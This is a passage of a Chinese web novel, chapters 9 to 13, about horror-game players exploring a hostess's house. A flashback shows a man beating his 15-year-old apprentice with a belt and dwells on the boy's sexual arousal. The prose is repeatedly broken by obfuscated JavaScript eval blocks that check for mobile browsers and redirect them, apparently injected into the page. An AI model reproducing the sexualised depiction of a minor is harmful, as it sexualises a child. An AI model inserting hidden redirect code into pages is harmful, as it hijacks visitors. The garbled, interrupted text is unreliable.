不久厨房里就传来洗衣机运转的声音,跟楚明铮他们白天洗肉的流程一模一样。 许祁川过了好半晌,才轻轻的“哇”了一声,不轻不重的将楚明铮搂了一下,小声崇拜道:“哥哥,你真厉害啊。” “闭嘴。”楚明铮没好气的说。 楚明铮训斥完许祁川,凝神思考了数秒都没有说话,就在许祁川以为他今天晚上不打算理会自己了的时候,楚明铮才十分慎重的开口了。 “这个副本里的规则目前有三条。” “不能浪费粮食,要好好睡觉,不能撒谎。”楚明铮环顾了一圈,看着众人如出一辙苍白的脸色说道。 “现在看起来不能撒谎的优先级远高于其他两个。”楚明铮笃定道:“就从这里入手吧。” “找一找,女主人对撒谎容忍度这么低的原因。” 9. 第 9 章 时钟的分针指向零点一刻。 满屋子的小鬼霎时间原地消失,桌上的菜肴和盘子也同样变的空空如也,地面上血渍尽散,仿佛刚才什么都没有发生过。 楚明铮转身推开餐厅的门:“走吧,回去睡觉了。” 许祁川依旧步伐飞快的跟在他后边:“好的哥哥。” 一众过关者两两三三的结伴从走廊里穿过,走廊里伸手不见五指,漆黑的夜色成团状一样浓重,沉甸甸的压在每个人心里。 走廊,餐厅,工作间三个地方都在一个空间里,从走廊经过的时候,还能听见工作间里女主人的走动声响。 以及她拎着刀,一下,一下,砍在案板上的剁肉声。 有些肉块里连着劲道的肉筋,剁起来需要费点力气,刀锋就会在案板上窸窸窣窣的多磨蹭几下,以确保肉块全然被剁碎分离开来。 许祁川牙酸的撇了一下嘴,小声道:“我都想替她剁了,听起来好费劲啊。” 楚明铮不动声色的侧目瞥了他一眼,低声道:“其实你并不像你本人所展现出来的那么害怕这个副本,对吗?” 许祁川一怔,随机应变的对答:“我当然怕了,哥哥,但是怕又不代表不能口嗨。” “难道你一直觉得我在你面前表演节目吗?”许祁川上前两步追问。 “哥哥,我没有那么不真诚,你怎么能这样想我。”许祁川见楚明铮不理他,就追在他身侧一直絮絮叨叨个不停。 此时两人恰好走到离房间不远的位置,楚明铮猛然停下脚步,倏地仰头逼近了他,那极富张扬性的锐利美貌一下子直刺到许祁川眼前,许祁川只觉浑身热意炸开,心脏咚咚咚从缓慢跳的飞快。 “你……”许祁川结结巴巴:“你要干什么?” 楚明铮没意识到眼前这年轻人突如其来脸红的原因。 他伸手将许祁川推到墙上,冰冷着脸色,声音轻且柔和的道:“我只是觉得,一个在副本里拥有死而复生本领的人,无论他是靠道具,还是别的什么,都不可能是个走夜路就怕黑的菜鸟新手。” “我说的对吗?”楚明铮问他。 许祁川的眼珠子在黑暗中几不可查的转动了一下,他嘴角微翘,语气却很诚恳:“真没有,哥哥。” “我从不骗你。” 楚明铮的神情显然是不相信这个说辞的,但是他并不打算就这个事情跟许祁川再做纠缠,本来也是过了这个副本就不会再碰见的人,楚明铮戳穿他的目的只是为了告诉对方,你的算计我并不是一无所知,我不干扰你,但是你也别来烦我。 许祁川一脸真诚的望着他,就差把“哥哥,相信我”这五个大字写在脸上了。 楚明铮深吸一口气,懒得再说,随即转身进屋。 “等等我!”许祁川慌忙跟上去,生怕被楚明铮关在门外了。 夜色已深,楚明铮躺在床上却毫无睡意,他时不时看看墙上的时钟,心里盘算着时间。 许祁川翻了个身,在隔壁床上面对着他,大眼睛一眨一眨的:“哥哥。” 楚明铮闭上眼睛开始装睡。 “别嘛哥哥,我知道你没睡着,我们来讨论讨论这个副本的破局方法吧,我觉得我有点思路了。”许祁川眼巴巴的看着他。 楚明铮无奈,只好从床上坐起来:“你说。” “这个副本目前出现的角色只有女主人和九个小鬼,九个小鬼喊女主人的称呼是‘阿姨’,我们通过阿姨的这个称呼可以推测出,他们跟女主人是没有亲属关系的,那在什么情况下一群小朋友会被寄养在一个成年女人的家里呢?” “孤儿。”楚明铮随口敷衍他。 “这不是孤儿院,哥哥。”许祁川温声回答。 “那就是个人爱好,她喜欢孩子,喜欢把一群孩子聚集在家里,给他们做饭。” “那真是很独特的爱好。”许祁川认真点评。 楚明铮不予评价。 两人诡异的沉默半晌,许祁川又道:“难道是拐卖事件?” “那对这些被拐卖的孩子未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613576|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免给的条件也太好了吧,又是给宿舍又是给做饭的。”许祁川自己把自己的想法又pass掉了。 楚明铮听着他在那头的床上嘟囔,心里浮现出一丝很荒谬的感觉。 这还是他第一次在副本里对一个人这么耐心,换了平时,谁要是敢在他耳边把这些不着调的推理,乱七八糟且毫无根据的猜想絮叨这么长时间,楚明铮下一秒就会把对方扔出去。 难道真是齐栩把他调教成这样的? 绝不可能。 他宁可承认自己时运不济,武力值受限,被齐栩那个小疯子铐在床头绑住手往死里折腾,报复了大半年,身体和心灵都留下了阴影ptsd,也不肯承认齐栩那疯狂的行为一定程度上影响了他的处事方式。 这太屈辱了。 跟正面对齐栩服软认错有什么区别? 楚明铮深吸一口气,十分头疼的拿被子盖在了脑袋上。 许祁川这才注意到他神情上的变化,连忙从床上跳下来走到他身侧,十分殷勤的问他:“怎么了哥哥,你觉得我说的对吗?” 楚明铮疲惫的翻了个身,简短道:“我要休息了,明天再说。” “好吧哥哥,晚安。” 夜色寂静,墙上钟表静静转动,时针在表盘上打下一层清晰的阴影。 楚明铮从睡梦中醒来,无声无息的睁开眼睛,侧头看了一眼一旁睡的很安稳的许祁川,然后轻手轻脚的下床,走到卧室门口。 他的手放在了冰凉的门把手上,轻轻向下扣动,“咔哒”一声,楚明铮打开了门,正要溜出去的空档,身后传来那年轻人带着笑意的声音。 “我就知道你今晚肯定会去女主人的房间找线索的。” 许祁川再次伸手抓住他的衣袖,可怜巴巴道:“哥哥,真的不带上我一起吗?” 楚明铮:“……” “我不会给你拖后腿的。”他又道:“拜托了。” “你一个人去,我会很担心你的,让我跟你走吧,我能保护你,哥哥。” 10. 第 10 章 楚明铮心说这真是见了鬼了。 他回头面无表情的看着许祁川,在心里掂量了一下自己现在出手打晕他的可能性有多大。 许祁川一双狗狗眼很温和的弯起来,五官俊朗,唇红齿白,笑的人畜无害。 楚明铮很阴森的盯了他半晌,最终放弃了打晕对方这个不切实际的念头。 他如今身体状况不比从前,被秘密囚禁的那半年里,齐栩为了让他听话,给他打过不少舒缓类的精神药物,楚明铮的反应速度和动作时机都大幅度下降,他没那么大把握能对许祁川一击即中。 况且,许祁川足足比他高了大半个头,虽然不清楚武力值究竟如何,但是整个身形比楚明铮看起来修长结实的多。 现在的年轻人都是怎么长成这样的? 一个个都吃化肥了么?楚明铮匪夷所思的想。 许祁川见楚明铮不说话,便又主动上前两步,他俯身看着楚明铮笑,然后伸手把掌心同样扣在了门把手上。 从这个角度看过去,就好像是楚明铮被他圈在臂弯里似的。 楚明铮很不喜欢这个姿势,他被迫背靠着门板,避无可避,整个人恼火的无以复加,却又无可奈何。 “哥哥……” “闭嘴。”楚明铮将他的手从门把手上掀开,回身警告道:“跟紧我,别再发出多余的动静。” “遵命,哥哥。”许祁川笑眯眯的答应道。 楚明铮得到他坚决的保证之后,这才勉强压抑下心里的恼怒,推门而出。 许祁川蹑手蹑脚的紧随其后,眼睛里全是兴奋的神色。 走廊上寂静无声,楚明铮步履很轻,稍微朝下猫了点腰,神不知鬼不觉的就走到卧室区域外了。 三间工作室的灯都是关上的,楚明铮站在走廊里,十分慎重的回头看了看周围的场景,确定没动静了,才俯身隔着门缝朝内里看去,许祁川也跟着他的动作朝另外两个门缝都看了看。 他边看边胡思乱想,担心门缝里突然冒出个眼睛跟他对视,想着想着就把自己吓得一个哆嗦。 许祁川战战兢兢的后退两步,冷不防撞上楚明铮的后背,惊得楚明铮倒抽一口凉气,在看清楚是他以后,忍不住回头给了他一巴掌。 “干什么呢!”楚明铮用气声怒道。 许祁川呲牙咧嘴的捂着被他打过的地方,声音很轻的“嘤”了一声:“哥哥,你打疼我了……” “安分点!”楚明铮暴躁至极的从门缝前撤开,伸手将他后颈一拽:“走,女主人不在这里。” “那我们现在去哪儿?”许祁川跌跌撞撞的被他拽着走,嘴角的笑容却止都止不住,撒娇的意味越发明显:“哥哥,你拽疼我了,你轻点啊哥哥……” “你恶不恶心?”楚明铮忍无可忍的松开他的后脖颈,示意他自己跟上。 楚明铮在走廊里悄无声息的一路疾走,终于停在了餐厅与卧室区域的交汇处。 那里有一个不大不小的门,刚才他俩走的太快,直接掠过去了,这回仔细看后才发现了这个存在感不高的门。 门锁处插着钥匙,只消伸手握住轻轻一转,就能打开。 “这就是女主人的卧室吗哥哥?”许祁川倏地又一次蹿到了他的身后,小声对着楚明铮敏感的耳朵说道。 楚明铮果然狠狠打了个哆嗦,恼羞成怒的将他一撞:“别在我耳边说话!” 许祁川讪讪的缩回脑袋,然后在黑暗里无声的蹙起了眉。 他当然知道楚明铮耳朵敏感,也当然知道楚明铮对有人贴近他身后的这个姿势有心理阴影,只是没想到阴影程度有这么严重。 楚明铮这会儿全副心神都在眼前的门锁上,无暇理会许祁川,他试探性的把手放在了钥匙上,再次仔细听了片刻门中的动静。 确定没声了之后,他心一狠,一不做二不休,一把推开了门。 卧室里的场景随即展现在楚明铮和许祁川的面前。 这是一个布置打扮的很“公主风”的卧室,卧室里空无一人,也没开灯,一张围着纱帐的浅色小床,一米八左右长短,缀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613577|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着蕾丝花边的棉被,地板上铺着厚厚的加绒地毯,走上去悄无声息,倒是给楚明铮的行动提供了便利。 他回头伸手一拽许祁川,将他一并拽进房间里来,然后轻轻合上门。 许祁川很激动:“我们居然真的进来了哎,哥哥好厉害!” 楚明铮连让他闭嘴的力气都没有了,翻了个白眼,就开始在屋子里四下翻找了起来。 “哥哥,你在找什么?”许祁川跟在他身后好奇的问道。 “能证明女主人身份信息的东西。”楚明铮心不在焉的回答他。 “你说的是那个吗?”许祁川给他仰头一指,楚明铮顺着他的目光看去,只见书架顶层正坐落着几个相框,楚明铮眼神一闪,伸手就要拿它们。 许祁川连忙将他一拦,风度十足的撸了把袖子,兴高采烈的道:“我个子高,哥哥,我帮你拿。” 楚明铮:“……” 他要是在现实世界碰到的这个人,楚明铮说什么都得把这小伙子拖去精神科治治脑子,省得放出来危害社会。 许祁川献宝一样捧着一大摞相框堆到楚明铮面前,亮晶晶的对他道:“哥哥,你看吧,我手机还有点电,我在旁边给你照灯。” “我谢谢你。”楚明铮筋疲力尽的叮嘱道:“在旁边站着就行了,别乱跑。” “不客气的,哥哥。”许祁川乖巧明媚的抬头对他道:“我的荣幸。” 小伙子绝对脑子有病,而且病的不轻,搞不好是绝症,楚明铮怜悯的心想,何苦跟他计较呢。 手机自带手电筒微弱的光线扫过相框里的画面,空气里尘埃飘浮,缓缓掠过相纸,楚明铮终于看清了那相纸上的内容。 他忍不住攥紧了相纸,目光一点一点凝重起来,这个副本似乎并没有他想象的那么简单,整个恐怖故事的背景也不单单是尸油和骨灰的问题。 许祁川好奇的凑过来一起看:“怎么了哥哥,是发现什么了吗?” 楚明铮沉默的将相框递给他,许祁川看了一眼,于是也沉默了。 11. 第 11 章 相纸很新,上边泛着隐约的黑雾,楚明铮对这方面分外敏锐,他伸手一捻相纸的边缘,只见指缝间黑雾缭绕,久不消散。 许祁川跟他对视一眼,然后一齐低头看向相纸。 照片里站了一整排小朋友,正朝镜头灿烂的笑着,女主人站在他们中间,双手分别摊开,挽着左右手边各自一个小朋友,一行人站在学校门口,朝着镜头比耶。 照片的背景里学校周边车水马龙,校门大开着,背着书包的学生陆陆续续的做出进走状。 “看出来什么异样了吗?”楚明铮低声问。 许祁川摇了摇头:“他们在学校门口拍了张合影。” “话倒是也没说错。”楚明铮喃喃道。 许祁川稍微侧了一下眼睛,拧头注视着楚明铮专注的侧脸,轻声问道:“哥哥,那你的想法呢?” “他们拍摄的时间是放学后。”楚明铮的手指点了点照片背景里一水儿的车流和人流:“这群孩子都背着书包,女主人揽着他们,手里还举个牌子,应该是给孩子们提供方向用的。” “她在接这些孩子放学。” 许祁川的眉心不解的皱了起来:“女主人为什么会同时接送十几个孩子放学呢?” “这些孩子没有爸爸妈妈吗?” 许祁川张口结舌,似乎被自己的猜测给头疼住了:“一个学校有十几个孤儿,也是挺少见的。” “别扯淡。”楚明铮后槽牙咬紧了片刻,末了尽力让自己的呼吸变的平和起来,说实话他对许祁川的耐心快用完了。 “那你说吧,哥哥。”许祁川杵了杵他:“你分析出什么了?” “他们不是孤儿。”楚明铮随手给他点了点照片上的孩子:“这书包,衣服,全都价格不菲,跟孤儿院都不是一个生活水准,嘶……这学校还挺眼熟的,好像是本市的一个重点小学?” 许祁川瞪大眼睛讶异道:“这你都知道啊哥哥!” “我以前在那附近住。”楚明铮心不在焉的说。 “副本里有些地点会跟现实生活重合,别告诉你连这都不知道。” 许祁川嘿嘿嘿的傻笑半晌,心虚的说了两声“知道,知道……” 楚明铮无暇理他,翻开第二张相框,只见这张照片里一群孩子正围着餐桌吃饭,一人举着个刀叉和汤勺,很开心的对着镜头笑。 桌上的菜肴依旧是老三样,蛋糕,汤饭,还有肉排。 “只有九个。”许祁川突然道。 屋子里本来就黑,他还要同时提防着屋外的动静,担心女主人随时会回来,楚明铮被他这一声吓了一跳,手差点没拿稳相框。 “什么只有九个?” “我们遇到的小鬼们,数量只有九个,可是这个照片里显示,女主人家里的小孩有二十五个,那剩下的十六个小朋友,他们去哪里了?”许祁川认真的跟他探讨。 这是个值得思索的问题,楚明铮一秒钟就干脆利落的给出了答案。 “剩下的小孩都没死。” 他话音一落,许祁川就眉开眼笑,将手往他身上一搭,说道:“哥哥,我们想到一块儿去了。” 楚明铮忍着恼火,把他的手掌从自己肩头拍开了。 “你为什么这么讨厌跟人有身体接触?”许祁川奇怪道:“我只是拍一下你。” “你不拍我也可以好好说话的。”楚明铮将相册反手扔进他怀里,继续看下一个。 第三张照片上,印着一个小姑娘的半身照,也是七八岁的模样,她穿着民族风的服饰,梳着两条马尾辫,正低头抚着膝盖上的古琴道具。 “应该是个艺术照。”许祁川又不死心的凑过来跟楚明铮近距离接触:“哥哥,你拍过艺术照吗?” 楚明铮低头专心看照片,随口答道:“没有。” “我想也是没拍过,哥哥你这么严肃的人,会拍艺术照就有鬼了……不过我觉得你要是拍一个应该会很好看的,你长得就很好看。”许祁川一个人在旁边话痨似的絮絮叨叨。 “我记得我小时候被我爹妈带去也拍过这种艺术照片,我那时候很傻缺的穿了个草裙,带了个草帽,在人工沙滩上翩翩起舞……” “你是想说你爹妈从小就发现了你的伪娘气质吗?”楚明铮讽刺道。 许祁川“嚯”的挑了一下眉,举起肱二头肌朝他展示了一下:“我?伪娘?” “哥哥,我比你高一整个头呢,我哪里娘?” “身高不代表男子气概。”楚明铮将他手上的手电筒拿到自己手里,仔细的照着相框里,那个双马尾小女孩的面容:“你要是话少一点,可能气概就起来了。” 许祁川眼珠子骨碌一转,蛮横道:“我不!” “你爱娘不娘,往边站,别挡我光。”楚明铮不耐烦的道。 “这是我的手机!” “我征用了。” 许祁川委委屈屈的只好任由他拿去用,自己一个人在那边又转悠了一会儿,忽然好像想起什么似的,回身不怀好意的问他:“哥哥,那你要是拍照的话,你会摆什么姿势呢?” 这话一出,楚明铮的手就僵在空中了。 他一时之间脸色变的很难看。 他很年轻就进入副本世界了,过了很多年刀头舔血,朝不保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613578|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕的日子,身边的人总是来了又散,今天认识,明天就死副本里了。 这种生活使楚明铮绝大多数情况下,都非必要不跟人建立情感联系,也从来没有跟谁拍照留个念的心思,也从不自拍。 他前半生面对相机的次数屈指可数,相机在大部分时候都只起一个纪念作用。 纪念这种东西,对于一个无甚牵挂,也并不把自己太当回事的人来说,实在是可有可无。 但是齐栩很喜欢拍照,从以前刚跟着楚明铮时,就喜欢摆弄他那个旧相机,有时候楚明铮心情好,会允许他把相机带到副本里去。 齐栩把那个相机看的比自己的命还重要,有一次副本世界崩坏,众人接二连三朝出口狂奔着逃亡的时候,齐栩不小心把他的相机弄掉了,当即连生死都不顾了,转头就去抢地上的相机。 鬼怪眼看着就要杀到少年身前了,他还着急忙慌的去捡那个相机。 楚明铮当即气不打一处来,脸色冷的像冰一样,一手握了把匕首闪电般回身上前,刀锋雪亮直刺鬼怪喉咙,一手拎起齐栩的后脖颈,刺完一刀将鬼怪击退半寸,紧接着转身就撤,从头到尾过程不超过三秒。 齐栩死死抱着他那个相机,怎么都不肯撒手,一直到楚明铮把他拎出副本,一个甩手扔在沙发上为止。 楚明铮怒不可遏,指着他骂道:“你要作死是吗!” 齐栩抱紧相机,摇着头不肯说话。 楚明铮看着他那副没出息的模样就更来气,伸手从他怀里抢夺相机:“东西给我!” “不给!”少年惊慌失措起来。 “给我!”楚明铮暴躁道,他对齐栩发号施令还从来没有被违抗过,此时见这少年犯起了犟,死活说不听,于是仗着自己身高的优势欺负未成年,三下五除二给齐栩按着反剪了双臂,将相机夺过来了。 “不行,师父,师父这个真的不行,我发誓我下次不会再这样了,你原谅我这一次把相机还给我好不好——” 少年苦苦哀求他,见他要打开相册看照片,心里更是发急,居然胆大包天,上前一把抱住了楚明铮的腰,将他扑倒了一个踉跄,相机脱手而飞砸在柔软的沙发垫上。 “师父,你别看,别看……” 下一秒他就被楚明铮从沙发上一把拎起来,扔到沙发上了,齐栩惊恐的回头,不知道他要怎么惩罚自己。 楚明铮沉默着起身,“唰”的一声将腰上的皮带抽了出来,一手按住齐栩的肩膀,一手握着皮带,只听空气里骤然一声破空声响。 “啪!” 坚硬的皮带裹挟厉风,倏然抽在了齐栩的屁股上。 12. 第 12 章 “啊!” 楚明铮那一皮带下去丝毫没收力气,打的太狠了,沙发上的少年凄厉的惨叫一声,泪水夺眶而出,身形下意识蜷缩起来,以此祈求能抵挡一部分伤害。 楚明铮修长冰冷的手指握着皮带的首端,面容冷峻,神色倨傲,他轻轻屈膝一顶齐栩的小腿弯处,不紧不慢道:“来,趴好,别让我动手把你吊起来再打。” 齐栩害怕的全身都在发抖,臀部和后背都火辣辣的疼。 他眼泪克制不住的往外涌,却死死咬着牙,不敢在楚明铮面前哭出一声,眼眶红的能滴血,拳头悄无声息的攥紧起来。 齐栩用力将拳头抵在自己的嘴唇上,防止自己再在楚明铮面前软弱的哭出声来。 楚明铮从身后将他后脖颈一按,防止他身体乱动,手上皮带毫不留情再次甩下,齐栩痛的犹如鲤鱼打挺,上气不接下气的在楚明铮的桎梏下挣扎。 楚明铮毫不手软,直到把齐栩打的彻底没力气跟他犟了,才松手将皮带扔开。 齐栩气息奄奄的趴在沙发上,后臀和脊背疼的几乎没了知觉,脸颊上残留着星星点点的泪痕,整个人状况可以用气若游丝来形容。 客厅尽头的玄关处传来门锁转动的声音,楚明铮队伍里的其他队员陆陆续续从外边回到大本营里,开门第一眼见到的,就是这副惨烈的景象。 “哎呦!楚哥,你下手也太重了吧。”一个年轻女声大惊小怪道:“别给孩子打出毛病了。” “是啊明铮,孩子还小呢,你悠着点……” 楚明铮不冷不热一抬眼,指着齐栩回声问道:“这是你徒弟还是我徒弟?” “你徒弟你徒弟……是我多管闲事了,小肖姐我们走。” 楚明铮在这群人里的威望极高,基本上他只要一发话,其他人就不敢有什么异议了,哪怕是现在齐栩被抽的快要死掉的情况下。 齐栩昏昏沉沉的趴在沙发上,冷不丁被他从背面一下子掀翻过来,变成躺在沙发上正对着楚明铮。 这动作太粗暴了,齐栩一下子被他牵扯的压到伤处,本来已经疼到麻木的屁股再次烧起火来,他忍不住发出一丝微弱的啜泣,压抑许久的眼泪唰然冲破眼眶阻碍,哽咽的出不来声。 在他模糊的视线里,楚明铮正一言不发的站在他面前,那双漂亮俊秀的眉目冷若冰霜,居高临下的姿态,气势强的惊人,高瘦修长的阴影完整的笼罩了齐栩的身形。 “师父……”齐栩带着哭腔喃喃道。 “知道错哪儿了吗?”楚明铮单手插在裤子口袋里,他刚刚卸了腰身的皮带,深色衬衫的下摆被束进长裤里,显得略有几分松垮。 齐栩虚弱的点了一下头,挣扎着想往起坐,不让自己的姿势显得那么狼狈。 然而楚明铮不耐的神色再次一闪,附身拎着他的领子又给他扔回沙发上了。 齐栩呜咽一声,毫无还手之力。 “那你说自己错哪儿了?”楚明铮俯身注视着少年晶莹的泪眼,压迫感十足。 “……不该抢救那个相机。” “错。”楚明铮用力一抻那个皮带,发出“砰”的清脆一响。 齐栩吓得浑身又是一个哆嗦,仰面躺在沙发上,脸色苍白,脖颈和脸颊上都是汗津津的,泛着冷汗残留下来的水光。 “我,我不知道……师父,我不知道。”齐栩凄惶的颤声开口。 楚明铮攥着皮带,一条腿跨上了沙发,用身形将他整个圈挡在了沙发里,齐栩僵硬的动了动脖颈,鼻尖全是楚明铮身上那股淡而冷的香水气。 他忽然觉得自己身上没那么疼了,屁股和脊背上火辣辣的灼烧感也随之转移了地方。 齐栩的脸颊变的滚烫灼热,他不自在的移开目光,不去跟楚明铮有对视,膝盖骨难耐的在沙发的真皮上摩擦了片刻。 楚明铮没有多想,只当这是少年心虚认错的表现。 于是他伸手用皮带抬起了齐栩的下颌,强迫那双湿漉漉的眼睛直视着自己:“别躲,看着我说话。” 齐栩的呼吸变的更加急促了,他几乎想把楚明铮从自己身上掀翻下去,然而身体仿佛不受控制一般,怎么都迈不出去那一步。 “知道为什么打你吗?”楚明铮依旧抬着他的下颌,逼视着他问话。 齐栩神思飘忽的摇了摇头,从他这个角度朝下望去,能看到楚明铮半松散开的衬衫下摆,他刚刚动手打齐栩的时候使的力道太大了,衬衫的褶皱也被牵扯的凌乱不堪,隐约露出楚明铮修窄漂亮的腰际线条来。 齐栩动了动喉结,头顶骤然传来楚明铮的声音,将他飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613579|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞的思绪扯了回来,他这才悚然一惊,意识到自己刚才在想什么。 “你的命是我救的。”楚明铮抵着他的下巴,缓缓靠近他轻声道。 “我可以有权拿你的命不当一回事,但是你没有权力拿自己的命不当一回事。” 这个距离,近的齐栩几乎数的清他冷淡瞳孔上方乌黑微翘的睫毛。 齐栩微微张开嘴,只觉得喉咙间更渴,他脸上还带着挨打后残存的泪痕,大概是刚才哭的太厉害,失水过多的缘故。 齐栩呆滞的坐在沙发上发愣,什么话都讲不出来。 楚明铮最讨厌自己说话的时候,身边人走神,当即又一皮带抽在了齐栩身上:“听清楚了吗!” 齐栩吃痛,眼泪在眶中晃荡一下,又要淌下来。 但是他此刻已经无暇跟楚明铮生气了,他满脑子想的都是另一件事。 “听清楚了师父。”齐栩低声认错:“我下次绝不会这样了。” 楚明铮冷眼看着他,起身从沙发上下来了,收回皮带背过身去,自己窸窸窣窣的将腰带系好。 等他系好皮带扣,再一转头,却发现齐栩已经不见了,一楼卫生间的门“啪”的一声被关上,紧接着就传来哗啦啦的水声。 楚明铮提高声音对里边呵斥道:“不要用凉水冲伤口!” 卫生间里传来齐栩虚弱的声音:“师父,我上厕所。” 楚明铮闻言翻了个白眼,心力憔悴的没再管他,自己收拾收拾上楼去了。 卫生间里,齐栩伸手拧开花洒,把温度调到最凉,抓着水管就往自己身上冲,冷水将他浇的一个激灵,勉强将脸上的红晕冲淡少许。 不知道过了多久,他才颤抖着按下关水的扳手,浑身上下已经湿透了。 齐栩才算从大汗淋漓的状态里恢复过来,身体里的炽热的火气一点点消散。 随之而来的是巨大的恐惧。 齐栩不知道自己为什么会这样,他刚才如果但凡再慢一秒,让楚明铮看到了自己有反应的状况,他毫不怀疑楚明铮会现场把他那里剁了。 身体上的伤处仍然在叫嚣着疼痛。 但是齐栩已经无暇去顾及它们了,他扶着洗手台的边缘,看着镜子里脸色潮红的自己。 觉得自己真是彻底疯了。 13. 第 13 章 齐栩从卫生间里一身湿水淋漓的出来了。 他大半个裤子和整个上衣已经全部湿透了,脏水从裤脚滴滴答答的淌落,头发上也沾着水珠,看起来又狼狈又脆弱。 他慢吞吞的挪动着自己的步伐,以免弄痛后背和屁股上的刚被打出来的鞭伤,他刚扶着玄关把自己移到书架跟前,勉强站稳休息一下,就有人迎面走到他身前了。 “你又怎么惹你师父生气了?”年轻女孩关切的给他递了张纸,示意他擦擦自己脸上的水渍:“真是奇怪,楚哥以前不这样的,他对我们所有人都挺好,怎么就偏对你一个人这么严厉……” 齐栩伸手接纸的手一顿,神色黯淡下来:“我也不知道……谢谢小肖姐。” 年轻女孩摆了摆手说没事,神情怜悯的打量了一番眼前的少年,她心里也觉得疑惑,副本世界确实高手如云不假,但是齐栩今年才十五岁,作为这个年纪的小朋友来讲,齐栩综合实力绝对说不上差。 然而楚明铮却仿佛单独针对他似的,把对齐栩的各项要求,都拉到了顶格。 稍有不符合标准,就会被楚明铮严厉相待。 齐栩深吸一口气,忍着身上剧烈的疼痛,扶着墙一点一点朝沙发上再次挪了过去。 小肖姐看着少年清瘦单薄的背影,忍不住叹了口气:“好可怜哦……” 齐栩好不容易把自己挪到了沙发跟前,刚要呲牙咧嘴的往下坐,忽然不知道想起什么了似的,猛然抬头惊道:“小肖姐,我相机呢!” 女孩挠了一下头,回忆了片刻,恍然道:“啊我想起来了,好像是被楚哥刚才一并带到二楼去了。” 齐栩脑海轰然一炸,当即顾不得身上剧痛,从沙发边缘一跃而起,连滚带爬抓着楼梯扶手往二楼跑,急的火烧火燎,生怕再慢一秒楚明铮就会把他相机砸了。 他慌慌张张的跑到楚明铮卧室门前,刚要抬手敲门,卧室的门就从里侧被打开了。 楚明铮一身单薄睡衣,正握着门把手,跟他迎面撞上。 “我刚要下去找你。”楚明铮蹙眉看着他说。 “师,师父。”齐栩结结巴巴道:“那个,我……” “来了正好。”楚明铮从兜里拿出瓶药膏,随手抛给他:“治跌打损伤的,晚上自己一涂,别把伤留到下一个副本。” 齐栩一怔,手里捧着那瓶冰凉的药膏,神色有些呆滞:“师父,你……” 楚明铮最不耐烦他这副吞吞吐吐的模样,转身呵斥道:“你什么你,让你涂你照做就完了,还有什么可跟我墨迹的。” 不是啊,我只是没想到你会递给我治伤的药。 齐栩心里默默的想。 他眼睛一瞥别处,却见自己的相机正被楚明铮完好无损的放在桌子上,只是那显示屏是亮着的,很显然楚明铮刚才试图研究过里边的东西,只是可能他对相机不太熟练,没能研究出来具体怎么调出齐栩的过往相册。 齐栩的身上出了一身冷汗,楚明铮见他还不走,于是很不耐烦的上手拎他出门。 “等等师父!”情急之下齐栩急中生智,一把抓住了门框死不松手。 “又怎么了?”楚明铮问。 齐栩哆嗦着手臂,尽量将声音放的很软,几乎是在低声哀求般的道:“师父,你打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613580|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的地方太偏了,我自己用手够不到。” 这话倒不是假的,他屁股上被楚明铮抽过的地方仍然火辣辣的痛。 稍微拧动一下身子,眼眶里的泪水就往上泛。 楚明铮拎他的动作停滞了一瞬,俊朗眉梢一挑:“所以?” “所以你能不能,能不能帮我处理一下?” 